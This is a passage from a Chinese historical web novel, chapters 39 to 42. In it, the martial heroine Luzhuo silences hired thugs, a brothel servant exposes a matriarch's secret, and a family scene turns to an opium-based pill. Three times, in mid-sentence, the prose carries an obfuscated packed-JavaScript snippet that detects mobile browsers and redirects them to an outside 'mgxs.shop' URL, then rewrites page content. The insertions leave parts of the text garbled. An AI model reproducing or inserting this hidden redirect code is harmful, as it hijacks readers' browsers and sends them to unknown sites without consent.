鹿啄拾级而上，动无常则，似山精野鬼，迅如飞隼，所过之处，寒光乍破，一连数人倒下，只剩一打手头目，眼神飘忽，手中兵刃胡乱挥舞，试图砸中即将向他袭来的厄运，但下一刻，他只觉喉间一凉，身后传来一个女子冷硬的声音： “别动。” 39.龟奴 殷家传到殷老侯爷这一代，并不是一开始就在家闲住的。 早年殷老侯爷身强体健的时候，也常常带子侄们到军中观摩演武，既壮军威，也培植后人的男儿血性，延绵武脉。 高克行曾在军中见过一位百户，此人颇得殷侯爷器重，徒手可破七八人，持械可破十余人。 以高克行对武学粗浅的理解，如若今天这位百户在，他大约能在鹿啄手下撑过三招。 这是一种，本不应存于世的震撼，若非高克行亲眼所见，哪怕是话本子里写的，他也不会信。 当初大哥要他留心阿啄会武，他留心了，但觉得古往今来，武艺再出众的将士也难抵帝王心术，一个会些功夫的丫鬟，就算她家武学传世，又能离了智计在世上活多久？ 可现下他承认，他错了。 绝对的凌虐和碾压是让一切言语苍白的。 他不怕阿啄，他还想能护着阿啄，可他觉得自己不配了。 打手的头目在剥皮刀下瑟瑟发抖，鹿啄朝高克行看过来，示意他问话。 “早知道你这刀这么有用，当时我干嘛拿他砸叶孤萍呢，桌上明明有砚台。”高克行绕过一地匍匐的打手，走到鹿啄身边，“是我 的不对，等回去，我再给你打一把新的。” 两把刀俱在，她今日应当更轻松。 鹿啄手上丝毫没松，点了点头： “要好的。” 她越是这样，高克行越有趁人之危的感想，不敢应她，只能在心里搜刮着真正配得上她的。 青州没有，得到京城了。 高克行低头四顾，挨个扫过众人的衣着、模样，没有一个是在雅集上见过的，如果是从同知府外尾随而来，应与他们同路，而不 是从对向过来。 看来是等在这儿的。 真想杀他的人，东厂或是权宦，都不该知道他与锦裱堂的关系，高雅英也不知，至于万梓阙，他的反应已证实他无法预料雅集会如此收场，更不能料到会有人逃命到此处，知道此事的人，一定是熟悉自己，又与叶孤萍、陈星霜勾连不清，跟他们共同布下雅集之局的人。 高克行心中已有计较，便开口问： “你的主子是不是姓高？” 那莽汉一愣，摇摇头。 固然有跟他斗智的方法，可现在高克行已觉得这很费时了，他看了看鹿啄。 此人的主子如果姓高，与他的主子是太监有截然不同的结果，鹿啄起先只是为了帮高克行，现在她也有些好奇。 如果高家人要杀高克行，那高克行跟她就是一样的人，她自认比不过高克行的九曲回肠，要是有个这样的帮手也好，只要姐姐的血仇是她亲手来报。 念头一转，鹿啄一抖袖子，无声无息，一根雅集上磨好的鱼刺滑入鹿啄手中。 她松开剥皮刀，不及那莽汉反应，左手反手一刺，刺尖触及莽汉喉间嫩骨，暗劲再送，直透音窍之内。内力所至，其发声之机已应声而碎。 莽汉只觉喉头一凉，似有冰线钻入，倒不觉多痛，只是再要发声，却觉喉中机关仿佛坏了一般，任凭如何鼓气，也只泄出几缕嗬嗬风声。 他惊骇不已，瞪眼去瞧鹿啄，谁知下一刻就是双膝一软，脖子叫鹿啄敲了一记手刀，昏死过去。 高克行此生从未问过如此纯真的问题，他道： “他怎么了？” 鹿啄若无其事： “不说，就永远别说。” 这鱼刺要的好，要的妙。高克行无奈想到，一根鱼刺在她手上就能致人哑口，甚至终身成了哑巴，以后她要是真想要太监冠上的珠子，他绝对任她去取。 一地的打手只是暂失了行动之能，并不是瞎了，眼前一幕瞧得真切，也听得真切，不由觉得毛骨悚然，不少人哆嗦起来。 高克行提起其中一个哆嗦得最厉害的，笑着对他道： “看吧，还是回答我的问题比较好，我家阿啄是极有新意的人，可能等一下她又觉得让人变哑巴不好玩儿了。” 那莽汉又从何得知鹿啄是什么样的人，只知道是惹不起的人，便哆哆嗦嗦答： “是，是，是……是。” “是姓高的哪个人，你知道吗？不必说出名字，只告诉我身量，相貌，在什么地方见的你。” 被提着的人偷眼瞧瞧他，眼珠子一转，诌了个答复： “是个样貌平常的男子，穿官服，在暗巷见的我。” “穿官服走暗巷，如此生动，你做这个倒是屈才了。”高克行笑着松开手，转而对鹿啄，“阿啄，他没说实话。” 鱼刺探出，那没说实话的汉子捂着喉头跪在地上，竭力要发出声音，可只有气声从嘴里吹出来，他急得几乎落泪，要去扑鹿啄的裙角，他本能觉得鹿啄有办法毁了他，就有办法治好他，可他想错了，鹿啄再次出手，此人瘫软倒地。 高克行蹲下身子，看着剩下的人，道： “我也不挑了，你们肯定有爱说实话的，毛遂自荐吧。” 一时没有动静，所有人在心里掂量出卖主子的结果和得罪眼前两人的结果。但忽而只听高克行又道： “但是话我要说在前头，阿啄可以杀了你们，但她没有，这是她不想，她不想，我不会强求她，但我不能放你们回去给主子报信，现在不说，以后就也别说了。” 此言与鹿啄前一句有异曲同工之妙，意思很明确，鹿啄也并没反对。 三个被飞蝗石击中的莽汉里，有一个人爬将起来，飞蝗石碎了他一侧膝盖，但他尚算能动，拖着一条腿向前，道： “姑爷爷，姑奶奶，小的愿意说。” 没人答他的话，他偷眼瞧了瞧两人的眼色，还有鹿啄手中鱼刺上滴下的血珠，打了个哆嗦，道： “小的们是街上娼寮里的内保，几日前，有一位常来的恩客赏了银子，让我们今日到这儿等您。” 他很聪明，先自报家门，这样一来高克行根本不需要猜这个姓高是谁了，必是高克己无疑。只是高克己凭什么相信几个龟奴能要他的命，又怎么知道雅集后他必到锦裱堂。 只听那龟奴继续道： “来之前，恩客嘱咐了，要听一位头领的吩咐，这头领方才让这位姑奶奶……” 戳哑了。 高克行在心中接上他的话，看了看躺在地上的头目。不用想，这是叶孤萍的人，有叶孤萍的人时时报信、施以援手，的确保险许 多。只是叶孤萍算不到，无论是他悉心调教的死士，还是娼寮里的小小龟奴，在鹿啄面前，众生平等罢了。 “你们的这位恩客，我不妨告诉你，他叫高克己。” 说完，高克行看了看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045928|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹿啄的脸色。 他曾告诉鹿啄枕顶是从高克己那里来的，提到此人她势必上心，或许也会更信他。 果然，鹿啄稍稍侧过了头。高克行继续问： “他好歹是有头有脸的少爷，怎么这么信得过你们这样的人？就不怕走漏了风声，让我跑了？” 市面上能找死士的地方不多，使高家的护院又太点眼，娼寮里的龟奴充其量算末流之选，更何况那地方出来的人八面玲珑，心眼子活络，高克己凭什么如此相信，定然有原因，这原因许能断出他们如何与叶孤萍搭上，但也或许只能断出高克己太蠢。 龟奴搓搓手，又看了看两人的脸色，似乎难以启齿。 他不知鹿啄此时已不是事不关己的态度，见他半天不答，鱼刺反折被鹿啄收回手中，剥皮刀亮了出来。 龟奴立即跪地，连磕三个响头，道： “不是小的不说，是怕说出来伤了爷爷和奶奶的脸面，污了爷爷和奶奶的耳朵。” 这怕是窑子里的事儿。 高克行有些难住了。 让鹿啄听吧，她是那么干净的人，实在不该听这个；可不让她听吧，这事与她并非全然无关，他不能又吊起人的胃口，又叫人回避。斟酌再三，高克行道： “说得委婉些。” 龟奴应了，缓缓道： “大约几个月前吧，咱家的这位恩客如常来了，我平时跟着鸨母，也常见他，他那天像是有事，就把我叫到暗处，说家里来了一门亲戚，要准备些特别的礼。” 一阵血流“噌”地窜上高克行的天灵，这门亲戚不是旁人，就是高彦韬一脉，窑子里能备什么礼，他不敢想。 “我当时觉着，可能想要我们的娘子出堂差，但恩客说，不要娘子，要小官。” 高克行额上青筋都要爆出来。 小官，就是男娼，出堂差就是叫娼寮里的娼到府里去取乐，三房里有人叫男娼，还要叫到府上，这要是漏出风去，比今天投靠了东厂也好不了多少。 他回头看看鹿啄，鹿啄一脸茫然。 逐娘出身青楼并非娼寮，且她有意不叫七个姐妹知道这些，鹿啄自然完全听不懂，只能也回头看看高克行。 这不可能教她，高克行只当没看见，又问： “你可知道是什么人叫的小官，怎么送进去的？” 龟奴点点头： “知道，我去送过几回，每次都是扮成给娘子们瞧病的郎中，也就是送了这几回，高公子才信着我们做事。” 无论是谁，叫小官上门一定是极隐秘的，不会当面打赏龟奴，所以他是从旁得知的： “我没亲眼见过，但小官回来跟咱们说过，是一位大娘子，爱穿碧色袄裙，约莫三四十岁，住正屋。” 话音方落，高克行只觉天旋地转。 大娘子，三四十岁，住正屋，只能是殷碧，他的嫡母。 此人必须闭嘴了。 他把扮作何人，身份样貌，住在何处，说得清清楚楚，再加上阿啄在侧，他不会贸然拿这样的事说谎，这只能是真的，如果是真的，决不能流出去。 殷碧为何这样做，在京中有没有这样做，都已经不重要了。 重要的是这个人要闭嘴。 高克行回头去寻鹿啄，却见后者脸上，露出了一个他从未见过的表情。 40.安得广厦千万间 那是一个，不解与怨恨交叠在一起的神情。 能叫阿啄露出这样的表情，不，甚至只是能叫阿啄因这番话而动容，就证明阿啄若非殷碧的亲女儿，就是与她有死仇。 死仇。 高克行在心里琢磨了一刻，意识到这已经是他今天第三次被逼入绝境了，他几乎有些想发笑。 有了这一层，龟奴就是摁死殷碧的一个人证，阿啄绝不会让此人闭嘴的。 那自己怎么办？把这龟奴杀了？ 他没武器啊，徒手掐死来不及了，真去掐，这龟奴还没咽气，阿啄就能让他先咽气。 老天爷究竟要给他什么，竟然如此考验他。 他迫使自己冷静下来，他知道鹿啄并没听懂刚刚龟奴说的是什么，就算听懂了，以她的做派和对世俗一无所知的程度，她也不会立刻发现其中的因果，不会立刻知道她现在已经有了一个制殷碧于死地的把柄。 该骗她吗？把小官这事抹成一件小事，或是让她知道这是什么，但不告诉她其中因果？ 不行，阿啄知道真相后的反应他承受不了，无论是□□还是魂灵。 那告诉她实情，但想办法拦住她？ 怎么拦？拦一头老虎可能还更容易一点。 一件小事忽然钻入他的脑海。 在他想起这件事的瞬间，一切真相已经连上了，他回身瞪龟奴一眼，示意他闭嘴，随后立即站到鹿啄眼前，急切道： “你有一个姐姐，是不是叫苓娘？” 鹿啄立即回神，眼里的凶光一下子散了，柔和得叫高克行心碎，他知道自己猜对了，咬牙继续道： “是我嫡……是殷氏害死了苓娘，对吗？” 那是她的至亲，若非情势所迫，高克行都不忍这么直白地提及，但鹿啄无泪无悲，点了点头，反问他： “小官是什么？” “小官。”高克行紧咬住腮，半晌才狠心道，“小官是男娼，是把身体卖给别人的男子，懂吗？” 这话不能更直白了，除非鹿啄真的不明白什么是男女之事，但她明白，逐娘教过，为了她们在外头，或者终有一天要离开啜狗山的时候不受伤害，逐娘教过。 她甚至懂什么是通奸。通奸，就是背叛。 没有具体的律法，也不需要有人告诉她这是桩什么样的罪，更不要提她全然不知什么是七出，但她知道背叛的后果，逐娘背叛了青楼，在啜狗山上躲了一辈子，这就是后果。 继而，她很快明白到，如果她能控制住眼前这个说话的莽汉，她就能让殷碧成为丧家之犬。 可她念头刚一动，就见高克行挡在了那人的面前。 鹿啄毫不犹豫，冷声道： “让开。” “阿啄。”高克行后退了一步，但没有移开，“我见过苓娘的，我知道她是谁。” 枕顶上的刺绣、殷碧、大哥格外对阿啄宽仁、她的脾气，一切都对得上，高克行知道自己已经赢了，但他隐隐觉得自己卑鄙，又因卑鄙而痛苦，他道： “我大哥高克肃，三月前在殷氏的正屋中被殷氏泼了一杯热茶，殷氏从我们还年幼时就爱折磨我大哥，一旦动念，不到一个时辰绝不会停手，但那天有一个人救了我大哥，她不知用什么事支走了殷氏，还给了我大哥一条帕子让他净面，我亲眼所见，句句属实。” 鹿啄轻轻晃了一下，没说话。 “帮我大哥的人是殷氏房中的绣娘，大哥感念她的恩惠，想要回报，可等大哥查清她的身份，知道她栖身何处时，她已经死了。” 最后两个字重重落在鹿啄耳朵里，她眼中方才退下的杀意复又爬了上来。 “此人就是你的姐姐，苓娘。” 他顿了一瞬，唤她： “我说的对吗？鹿啄。” 那对枕顶，苓娘绣的枕顶，鹿啄如此在意，而且能一眼辨别，绝对不会是毫无意义的绣样，尤其那绣样并不常见，也无甚美好的意义和祝福，甚至有些不合常理。 幼鹿正食青草，往往是低头咀嚼，但枕顶上的幼鹿明显有一个像鸟类啄食的点头触碰的动作，不常见的绣样，阿啄不寻常的态度，姐姐的遗物，加在一处，这绣样更像是一个符号，像是一个…… 啄 阿啄 鹿啄食青草 鹿啄。 他知道了她是谁，哪怕是一个名字，但他可能是这世上，最后一个知道这名字的人了。 名叫鹿啄的女子仍然面无表情，片刻后，她问： “殷氏没泼你吗？” 高克行刚刚在叙述中刻意隐去了自己的遭遇，实际上他并不会比大哥好多少，但他知道眼下鹿啄这么说并不是在怜惜他，而是在问他： 她一定也泼你了吧，她一定也羞辱你了吧，你不恨她吗？ “我恨她。”高克行越过她的问题，“但我不会比你更恨她。” 没错，鹿啄知道高克行不会比自己更恨殷碧，所以他怎么能理解自己有多想要报仇呢？ 日日夜夜，她被仇恨折磨着，已经成了另外一个人了。 “可你姐姐呢！苓娘呢！” 高克行语速飞快，没有停下： “她那么善良的一个人，那么温柔的一个人，你要她死的不明不白吗？你是唯一能为她洗冤的人，殷氏对她做过什么，只有你能 叫所有人都知道，你真要这么轻易的就让殷碧死了吗？纵然她身败名裂，但她不是因为你姐姐身败名裂，你甘心吗！” 鹿啄不甘心。 她不在意殷碧是不是身败名裂，又或是不是身败名裂而死，但她必须知道她因谁而死，她必须知道害死一条人命会有怎样的后果，如果她的事败露，被打死，被赶走，被处刑，她怎么有机会知道，知道她必须给谁偿命。 刀收回腰侧，鹿啄仰头望天。 如果她其他的仇家，都是高克行这样的人，她该怎么办呢？ 见鹿啄如此，高克行胸口一松，但这不算完，他前进一步，凑近鹿啄，道： “这个人你可以不杀，你可以留着，甚至可以控制起来，但是日后你要用他的时候，你要告诉我，好吗？” 他不忍叫她妥协，他只求给他一个想办法的时机。 鹿啄点了点头。 此间事了，鹿啄将除了龟奴以外的余下数人一一封口，既然此事中有殷碧和高克己的影子，那定然不能叫他们回去通禀。 那龟奴瞧着，已然吓破了胆子，鹿啄问了他的姓名、所在娼寮，以及家在何处，并告诉他自己不多时即会去寮中取龟奴的身契，如果龟奴跑了或是找不到人，她将把龟奴一家也视为死仇。 龟奴无敢不应，高克行又嘱咐他两月之内不要回窑子里去，也不要回家去，两月之后先打听高家二少爷是否归家，再现身。 载他们来的黑马，叫高克行打了一鞭子，鹿啄又跳马，此时已经惊得不知道跑哪儿去了。 两人只能步行出了巷子，漫无目的地走了好一阵，其间高克行想了数个藏身之处，但都不算完美无缺。毕竟高克己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17054853|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也是不可能知道他跟锦裱堂的关系的，他们之间往来只是阳奉阴违，那高克己如此精准找到了锦裱堂，只能是延晖阁里也有内应。 如此一来，他所知道的所有地方，都不算安稳了。 许是没头没脑走了太久，鹿啄厌了，她突然站定，问高克行： “去哪儿。” “说实话吗？”高克行冲她一笑，“我也不知。” 他没把那套延晖阁里出了内应的猜测透给鹿啄，其一是现在还没安定下来，要解释这些太复杂，其二是他现在很愿意在鹿啄面前 自曝其短，总得各自拿捏了各自的短处，才算公平。 只是他这点心思对鹿啄来说也算太多了，鹿啄听他没主意，自然想到找藏身处的事要一同琢磨，低头思量片刻，道： “那跟我走。” ----------------- 一间临街的独门里，钻出一个婆子。 她曾在三个月前把隔出来的一间卧房赁给了一对姐妹，后来这两姐妹不知何故都消失了，她原以为赁钱打了水漂，结果昨日，她照常去屋子里看有没有人回来，结果在桌子上发现一张条子，并全部欠下的赁钱。 条子写得极其简洁：亟去不返，退以此屋。租银留呈。 婆子不知这对姐妹的底细，只知道她们手脚算是干净，不偷不摸，姐姐住了一阵子据说就去高门大户里做工了，妹妹终日在院子里晃，清早起床练她看不懂的功，旁的也没什么。 后来那姐姐得了病，让人撵出来，婆子念她们可怜，也不嫌晦气，帮着安葬，之后，那妹妹就也不见了，直到留下这张条子。 此二人一去，她也不在这房中多留了，毕竟儿子得了一笔横财，又谋了差事，置了新房，她想将此处打点干净，或租或卖，赚点花销。 正愁没处找路子，一矮身出了正门，在街上就看见了那个将才退屋一日的妹妹。 怎么去又复返了？ 婆子狐疑，见鹿啄朝她过来，还领了个极俊的后生。那后生长得好，衣着又华贵，一看就是地主爷或员外爷家的公子哥，婆子一 时以为她找了靠山，带相好的来闹事，赶紧梗着脖子，先开口道： “小娘子怎的又回来了？此屋既退，咱们也就没关系了，要是丢了什么落了什么，可不能跟我老婆子讨啊！” 说起来，她走得那么急，租契都还没还她呢。 那妹妹身后的公子一步绕出来，笑得煞是春风拂面，道： “老人家，她不是来讨东西的，我们就是来问问，您这屋子还租不租，如若租，我要了。” 看着这么有钱的公子爷，来租她的破房子？ 婆子心中盘算了一下。 别是偷汉子的吧。 可谁说偷汉子的钱不能赚？只是要小心这丫头在外面没学好，原来不小偷小摸，这偷了汉子，连带其它的偷也学会了，她家里东西还没拾掇利索。思及此处，婆子遂道： “是小娘子租还是公子租？我只有一间闲房，别的屋可不许去。” “老人家何必问那么多。”那公子笑着从腰里摸出一根官锭递过来，“我们不破你的规矩就是了。” 那一锭银子拿在手上，沉甸甸的，正正好好的五十两，别说租，买她这破屋子几回都够了。 纵然是把东西都给他俩，也不亏。 婆子喜笑颜开，连她瞧不上的偷汉养奸都瞧着顺眼了，赞道： “公子好阔绰，我就说，这丫头有福。” 41.得之我幸 鹿啄和苓娘所在的这件独屋朝东，鹿啄离开并不久，屋里也没被婆子完全清扫，还几乎维持着她和苓娘所住时的样子。 高克行在门口托婆子每日到屋里来送饭，婆子一口回绝。 她在家里是儿媳妇伺候吃饭，儿媳妇做，要来送饭她一天得跑好几趟，还得给儿媳妇多添菜钱，不如给她钱，几天一趟，她去买菜送回来，还能昧下一些充作家用，反正那小丫头再不济也是女子，粗茶淡饭总该会做吧。 因婆子把话说得绝，这买菜的交易最终达成。她走后，高克行拧着眉头进了屋。 他不缺银子，却也不是冤大头，婆子市侩，摆明了想讹他，买菜是一个价，做菜送来又是一个天差地别的价。 真由着她讹，咽不下这口气。他打定主意，就算鹿啄做得再难吃，他也绝无怨言，但方把这事儿跟鹿啄说了，就见鹿啄轻描淡写 瞧他一眼，道： “我不会。” “啊？”他脑海中浮现鹿啄在影壁墙边蹲着啃饼子的身影，也不觉奇怪了，又问：“那你在家的时候，怎么吃饭？” 鹿啄正翻着平头案上摆的竹纸和羊毫，这是她买来与鹿苓通信所用，大概对婆子来说不值什么，还在那里原样没动。她边答高克行，边拿粗陶壶里的剩茶水倒了一点在瓦砚上。 “我二姐会。” 她如此动作，必定是要写字了。高克行知道高府下人大多认识些字，但不知鹿啄会写，来了兴趣，一撩自己金贵的竹青色织锦料子下摆，坐在桌下的杌凳上。 婆子的儿子是马夫，儿媳娘家务农，小孙子尚不满五岁，她屋里没人读书，桌子和凳子都是鹿苓从邻居家东拼西凑借来的，为着姐妹写信舒服些，用饭也不用到堂屋去跟婆子一家凑合。 但这样的平头案和杌凳，高克行一生可没享受过，他登时觉得杌凳和案之间的距离，怎么摆弄，都不大合宜，便放弃了，笑着看鹿啄研着块再寻常不过的墨锭，时不时给她添水。 “要写什么？” 鹿啄所持墨锭，是松树枝干烧混着猪皮胶制的，墨色暗淡，不好研，胜在鹿啄力气大，不多时，还是发了些色，只是她再用劲儿，就溅出来了，高克行赶紧伸手接过来，等她答话。 “我不写。” 桌边有块土布手巾，鹿啄拿起来擦了擦手上的墨点，又道： “你写。” 所以鹿啄刚刚是在伺候墨宝？ 高克行哑然失笑，研墨的手顿了顿，他知道自己承诺过什么，鹿啄现在是在要求这个承诺的兑现，也许她觉得听一次未必记得，要写下来才够。 但要写的东西太多了，得先办紧要的。他遂对鹿啄道： “你出去替我办件事，等回来你要的我约莫也写好一些了。” 羊毫笔、竹纸、疙疙瘩瘩的烟墨、起了毛刺儿的书案，高克行得在如此条件下把本朝官制、礼教、律法、市井人情和高家一应人上下关系全默出来，这个“写好一些”，他说得相当保守。 鹿啄等着他的后话。 “你应该能悄悄回高府一趟，又不被察觉吧？” 当时苓娘入府，有一个月去信不回，鹿啄就闯过几次高府，但不能引人注目，行动不便，加上不认路，苓娘又被殷碧藏起来了，连身在府中的人都不知她确切所在，鹿啄只有无功而返。 但现下不同，鹿啄已经摸清了高府内外的门路，若要掩人耳目做些什么，容易许多。别说是一趟，就算有心天天回去，也不会有人能知道。 她点点头。 “那好，你到含章馆，就是我后头那间院子里，找我大哥，把我的信给他。” 说着高克行已经起笔。他写的简单，其一是因为算着时辰，书童已经回去了，大哥知道他还活着，见到鹿啄时不会诧异，也不会为难。 其二，雅集上走漏了一个刺杀镇守太监的官家公子，陈星霜不会下海捕，公然海捕，就是东厂把事情闹大，在陛下那儿会显得办事不力。 为堵雅集众人悠悠之口，剩下的人肯定高高拿起，轻轻放下，那今晚，严家殷家二位公子一定上门，为报信，也为商量对策。这一来大哥便能算得七七八八，他只需告诉大哥自己身在何处即可。 信件落成，高克行递给鹿啄。 “还有。”他露出了一种哀切的目光，“我信里没写，但你让我大哥从我那儿帮我取身衣裳来，越素的越好，还有饭。” 高克行的眼睛大而明亮，充满希望。 “我好饿啊，阿啄。” ----------------- 殷封其实是跟高雅英一道回的高府。 他从京城来，只带了几个平时用得惯的小厮仆役，下榻在青州闹市的一家客栈。 路上撞见高雅英、高汐英几个魂不附体，高雅英又一直用一件丫鬟的比甲掩在身前，殷封心中大骂东厂无耻，但没说什么，送两位小姐从角门进了内宅，自己转正门去了含章馆。 刚进含章馆，就看见高克行的书童哆嗦着跪在院里念叨着雅集上的事，高克肃书房门敞着，人不知是不是在听，手里捧着卷《近思录》在看。 凑近了，殷封发现书童两条小腿哆嗦得比身上厉害，看来不是怕的，更像是挂在什么东西上时间长了。 他越过书童，到高克肃的书房门口扣了扣门框。 高克肃听见响动抬眼，并没说话，只是略一点头。 “文衷，行哥儿回来了没有？” 殷封居长，在高、殷、严三家兄弟之中仅比严昆冈小几个月，但又比高克肃大上一年，可他鲜少像称呼高克行一样直接把高克肃唤为表弟或肃哥儿，并没什么忌讳，只是感觉不合适。 “尚未。”高克肃放下手中书卷，右手食指在空中一划，这便是让书童倒茶的意思了。 “还没回来？！” 那他的书童怎么在院里跪着？ 殷封回头看了一眼。这时已经有小厮过来给殷封搬椅子，他摆摆手，没坐，走到书案边上，问高克肃： “雅集上出事了，你可知道？” “一知半解吧。” 书童上来奉茶，茶放下了，高克肃示意他出去，那书童随手又合上了书房的樟木板门。整个高家只有这里的门是整块实心的，关闭时屋内的声音几乎透不出去，除非站在窗下，但窗又冲着外墙开。 高克肃几乎一寸都没挪动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17065498|194532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不直视殷封，眼观鼻，鼻观心，道： “书童回来说了一些，但不全。” 其实书童跪在院里已经说了三遍了，但大少爷不叫停，他不敢停。 殷封把自己知道的事又从头至尾说了一遍，除了高克行的下落和高雅英的计谋他不在场未能得知以外，其它的连一点细节都没放过，高克肃听他说，也没发表任何见解和看法，只是时不时拿笔在空放着的玉扣纸上写几笔。 说完一遍，茶都凉了，殷封口干舌燥也顾不上许多，仰头尽饮，放下茶杯，用探寻的目光看高克肃。 “莫饮凉茶。”高克肃头也不抬，“我叫人来给你换过。” “欸！”殷封按住他，“现在是喝茶的时候吗？咱们得设法去救行哥儿和秉圭啊。” 秉圭是严昆冈的字，他对这事是有讲究的，特意要求殷封如此称呼。 高克肃手腕子让殷封按住，他几乎没用力，不动声色的把手抽出来，摇了摇头。 “舍弟没事，他没事，秉圭也不会有事。” 纵然殷封说现在并不是喝茶的时候，但高克肃还是亲手又给殷封斟了一杯，并做了一个“请”的手势。 在高家的所有人中，殷封可以说最不擅长对付的就是高克肃，而且是从小就不擅长，与他相反，严昆冈最喜欢跟高克肃打交道，眼下兄弟几人里剩下他们两个最尴尬的，殷封心里觉得像有猫的爪子在挠。 “你怎么知道他没事？那是东厂！”殷封稍微提高了声调，“令尊是风宪官，平日里不知怎么得罪过他们呢，在他手底下，行哥儿能得着一点好？” 高克肃还是摇摇头，道： “守之误会了，我并非是说这个。”他话锋一转，“家姊未给你添许多麻烦吧。” 殷封一愣，想起高雅英凄楚娇弱的样子，还没说话，先红了脸，他的这一表现叫高克肃尽收眼底，后者又道： “没添麻烦就好，今日不妨留宿延晖阁，我叫人去接你带的人。” 延晖阁是高克行的住处，这殷封是知道的，所以他咋舌，怎么什么都还没说明白，已经把弟弟的院子许出去了，敢情高克行不回来，反倒方便了腾院子吗？ 殷家人丁单薄，殷封没有兄弟，只有两个妹妹，一个在头年死了，另一个刚刚接回家。他极羡慕兄弟姊妹热闹的人家，但高克肃一向冷漠，每每叫他骤然窥见内里，都不由得身上发冷，连带的跟高克肃更尴尬。 似乎是瞧出他的意思，高克肃几不可闻地叹了一声，道： “你方才说，会未至半，舍弟遣书童去秣马，直至你回来，书童都未出现，书童现下回来了，且是舍弟叫他回来的，证明舍弟必然已经脱身，何必忧虑。” 这些也不是高克肃推测出的全部，但跟殷封全说明白又有何用，反正他一定还会问。 “脱身了怎么不回家？而且秉圭呢？他没救秉圭？” 话刚出口，殷封就回过神来，是他他也不会回家，万一东厂放人之后还有后手，回家岂不是连累家里，可秉圭呢？ 刚想到这儿，只听“嘭”的一声，书房的门叫人大力推开，严昆冈站在门口，气喘吁吁。 “文衷！不好了！” 42.化血成碧 高彦韬携家上京前，青州祖宅中有专为三房建的屋子。 回乡探病，各人自然还住在各自的住处。 除了高云英是在京城降生，现下年纪又太小，还住在杨怀薇院里以外，凡及笄的姐妹和及冠的兄弟，都分院而住，除晨昏定省，不到殷碧所在的聿修堂。 聿修堂的堂屋，常年熏着浓重的龙涎香，举目四望，所有的桌椅都由乌木和铁力木制成，色泽深重，每一把交椅的靠背角度都完全相同，每一尊陈设的大小、颜色，都经过悉心挑选，放置的形态也毫无差别。 高雅英、高汐英并五个婢女，垂手而立，侧对着主位上的殷碧，后者面沉似水，看不出是什么情绪，只有庄婆子拿着块绢子，轻轻给高雅英拭泪。 她哭得没有声响，一直尽力将眼泪咽回肚里，可闸口已经决堤了，不疏只会更溃。 “走吧。”殷碧叹了口气，“在我这里哭就显得你错小了吗？” 两行清泪顺流而下，滴落在庄婆子的手绢上，高雅英呼吸了几个来回，声音不再发抖，才道： “母亲，女儿自知错大，但您若不替女儿周旋，女儿只有一死。” 殷碧看也不看她，低头思索间，回道： “死了倒很容易了。” 这样的话，高雅英听了不止一回，并不会增加她的伤心，反而让她知道了自己还没犯下饶恕不得的过错，眼泪渐渐止住了。 “走吧。”殷碧又催了一次，“你父亲就要来了。” 他来了，才是真的没有转圜的余地。 高雅英心下明白，向着殷碧深深一拜，玉珰和银钿扶着她的手，回身走远。但高汐英没走，她站定原地，不知说什么，却又有千言万语。 “你想问你姐姐会不会连累你，但又觉得你姐姐实在很可怜，怕我怪你无情？” 殷碧斜觑着高汐英，后者被猜中，低下头，殷碧嗤笑一声，语气仍平静柔和，道： “她此生跟你是一样的命，你就是她，她就是你，她不会连累你，只会跟你死在一起。” 言外之意，你们都是殷碧的女儿，生在一起，死在一处，谁能独活。 高汐英的眼泪也在眼中打转，她道： “并不是我不疼姐姐，她何曾当我是她妹妹。” 庄婆子拉了一把高汐英，但除了把高汐英拉的踉跄一步外，并没阻止得了她向殷碧投去不信与不解的目光。 “娘很累了。”殷碧一点不打算去过问姐妹的争执，“娘真的很累了。这样的事你们都会懂的，迟早会懂的。” 说罢，殷碧一手撑住额头，紧抿着嘴，慢慢有细汗从她额角渗出。她几乎是咬牙又对高汐英说： “你也走吧，回去吧，娘都会料理的。” 高汐英还想再说，庄婆子给拾翠点虹使了个眼色，两人赶紧拉着高汐英转身，一边低低对她嘱咐着什么，一边把高汐英带出去了。 堂屋内静了，没有哭声了，也没人再去让殷碧耳边发出那种催命似的回响了，庄婆子疾步跑到屏风后，不多时转身回来，托着一个锦盒递给殷碧，翻开锦盒，里面有一粒药丸。 “不吃了。”殷碧摆摆手，“我得活到雅姐儿能接过我的事，不敢吃得这么勤。” 庄婆子的眼里一下噙满了泪。 她手中锦盒内的药丸，是以阿芙蓉为君，乳香、没药为臣，另取川芎，酸枣仁煎汁。君臣药磨粉，炼蜜为丸。 这是一个剜肉补疮，以毒攻毒的药方。 体貌康健的寻常人吃上这剂药，至短几个月，至多数年，必定气血耗竭，形容枯槁，不治而死。 可殷碧不吃这剂药，才是真的会死。 